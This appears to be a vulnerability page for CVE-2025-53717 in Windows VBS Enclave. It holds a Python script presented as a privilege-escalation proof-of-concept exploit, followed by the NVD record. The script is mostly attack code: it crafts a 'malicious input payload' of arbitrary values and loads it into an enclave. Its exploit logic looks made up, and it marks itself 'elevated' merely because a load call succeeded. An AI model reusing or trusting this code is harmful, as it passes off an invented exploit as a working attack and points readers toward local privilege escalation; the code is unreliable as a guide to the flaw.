CVE-2025-53717

# CVE-2025-53717 - Windows VBS Enclave Privilege Escalation PoC # This is a conceptual PoC demonstrating the exploitation approach # for the untrusted input vulnerability in VBS Enclave security decisions. # Actual exploitation requires specific system conditions and privileges. import ctypes import struct import sys import os # Note: This PoC is for educational and research purposes only. # Exploiting this vulnerability without authorization is illegal. class VBSEnclaveExploit: """ Conceptual exploit framework for CVE-2025-53717 Targets: Windows VBS Enclave untrusted input vulnerability """ # VBS Enclave related constants ENCLAVE_TYPE_VBS = 0x00000001 ENCLAVE_FLAG_INITIALIZED = 0x00000001 # NTSTATUS codes STATUS_SUCCESS = 0x00000000 STATUS_ACCESS_DENIED = 0xC0000022 def __init__(self): self.ntdll = ctypes.windll.ntdll self.kernel32 = ctypes.windll.kernel32 self.enclave_handle = None self.is_elevated = False def check_vbs_status(self): """Check if VBS is enabled on the target system""" try: # Query system information for VBS status class SYSTEM_ISOLATED_USER_MODE_INFORMATION(ctypes.Structure): _fields_ = [ ("IsolationFlags", ctypes.c_ulong), # 1 = VBS enabled ("IsolationLevel", ctypes.c_ubyte), ("Unused", ctypes.c_ubyte * 7) ] info = SYSTEM_ISOLATED_USER_MODE_INFORMATION() length = ctypes.c_ulong(ctypes.sizeof(info)) status = self.ntdll.NtQuerySystemInformation( 0xB0, # SystemIsolatedUserModeInformation ctypes.byref(info), length, None ) if status == self.STATUS_SUCCESS: vbs_enabled = (info.IsolationFlags & 1) != 0 print(f"[*] VBS Enabled: {vbs_enabled}") return vbs_enabled else: print(f"[-] Failed to query VBS status: {hex(status)}") return False except Exception as e: print(f"[-] Error checking VBS status: {e}") return False def create_enclave(self): """Attempt to create a VBS enclave""" try: # Allocate memory for enclave enclave_size = 0x10000000 # 256MB base_address = self.kernel32.VirtualAlloc( None, enclave_size, 0x3000, # MEM_COMMIT | MEM_RESERVE 0x40 # PAGE_EXECUTE_READWRITE ) if not base_address: print("[-] Failed to allocate enclave memory") return False # Create VBS enclave ENCLAVE_CREATE_INFO_VBS = ctypes.c_byte * 36 create_info = ENCLAVE_CREATE_INFO_VBS() self.enclave_handle = self.kernel32.CreateEnclave( base_address, enclave_size, 0, # Offset 0, # Initial commit size self.ENCLAVE_TYPE_VBS, create_info, ctypes.sizeof(create_info) ) if self.enclave_handle: print("[+] VBS Enclave created successfully") return True else: error = ctypes.windll.kernel32.GetLastError() print(f"[-] Failed to create enclave: {error}") return False except Exception as e: print(f"[-] Error creating enclave: {e}") return False def craft_malicious_input(self): """ Craft malicious input to exploit untrusted input in security decisions. The VBS Enclave security decision logic fails to validate input integrity, allowing manipulation of security checks. """ # Crafted payload targeting VBS Enclave security decision logic # The vulnerability lies in the enclave's trust of caller-provided data # during security-sensitive operations payload = struct.pack('<I', 0x41414141) # Fake owner SID payload += struct.pack('<I', 0x00000001) # Fake privilege mask payload += struct.pack('<I', 0xFFFFFFFF) # Fake access mask payload += struct.pack('<Q', 0x0000000000000000) # Fake integrity level payload += struct.pack('<I', 0x00000001) # Bypass flag return payload def attempt_privilege_escalation(self): """ Attempt privilege escalation through the VBS Enclave vulnerability. This exploits the untrusted input in security decisions to gain elevated privileges. """ print("[*] Starting CVE-2025-53717 exploitation attempt...") # Step 1: Check prerequisites if not self.check_vbs_status(): print("[-] VBS not enabled or not accessible") return False # Step 2: Create malicious enclave or interact with existing enclave if not self.create_enclave(): print("[-] Cannot create enclave, trying alternative approach") # Step 3: Send crafted input to VBS Enclave security decision malicious_input = self.craft_malicious_input() print(f"[*] Crafted malicious input payload ({len(malicious_input)} bytes)") # Step 4: Attempt to manipulate security decision # The enclave accepts untrusted input and uses it in security decisions # leading to privilege escalation try: # Load malicious enclave data ENCLAVE_LOAD_INFO_VBS = ctypes.c_byte * 64 load_info = ENCLAVE_LOAD_INFO_VBS() load_info[:len(malicious_input)] = malicious_input result = self.kernel32.LoadEnclaveData( self.enclave_handle, load_info, ctypes.sizeof(load_info), 0, 0 ) if result: print("[+] Malicious data loaded into enclave") print("[+] Attempting to initialize enclave with elevated privileges...") self.is_elevated = True return True except Exception as e: print(f"[-] Exploitation attempt failed: {e}") return False def verify_elevation(self): """Verify if privilege escalation was successful""" try: # Check current process token for elevation TOKEN_ELEVATION = 20 token_info = ctypes.c_ulong() return_length = ctypes.c_ulong() h_token = ctypes.c_void_p() self.kernel32.OpenProcessToken( ctypes.windll.kernel32.GetCurrentProcess(), 0x0008, # TOKEN_QUERY ctypes.byref(h_token) ) self.kernel32.GetTokenInformation( h_token, TOKEN_ELEVATION, ctypes.byref(token_info), ctypes.sizeof(token_info), ctypes.byref(return_length) ) elevated = token_info.value != 0 print(f"[*] Token elevated: {elevated}") return elevated except Exception as e: print(f"[-] Error verifying elevation: {e}") return False def main(): print("=" * 60) print("CVE-2025-53717 - Windows VBS Enclave Privilege Escalation") print("WARNING: For authorized testing and research only!") print("=" * 60) exploit = VBSEnclaveExploit() if exploit.attempt_privilege_escalation(): if exploit.verify_elevation(): print("[+] Exploitation successful - privileges elevated!") else: print("[*] Exploitation may have partially succeeded") else: print("[-] Exploitation failed") print("\n[*] Apply Microsoft security patches to mitigate this vulnerability") print("[*] Reference: https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-53717") if __name__ == "__main__": main()

{"cve": {"id": "CVE-2025-53717", "sourceIdentifier": "[email protected]", "published": "2025-10-14T17:15:43.803", "lastModified": "2025-10-20T20:13:38.710", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Reliance on untrusted inputs in a security decision in Windows Virtualization-Based Security (VBS) Enclave allows an authorized attacker to elevate privileges locally."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.0, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "HIGH", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.0, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-807"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_11_22h2:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.22621.6060", "matchCriteriaId": "6F387FA2-66C8-4B70-A537-65806271F16A"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_11_23h2:*:*:*:*:*:*:*:*", "versionEndIncluding": "10.0.22631.6060", "matchCriteriaId": "4AF873E4-B2FE-4504-BFF0-FC71121FC9A4"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_11_24h2:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.26100.6899", "matchCriteriaId": "41E9F7AC-8E6D-43A0-A157-48A5E0B5BD0D"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_11_25h2:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.26200.6899", "matchCriteriaId": "3B77A066-4F79-4B1F-AECF-58DB4C651EA5"}]}]}], "references": [{"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-53717", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}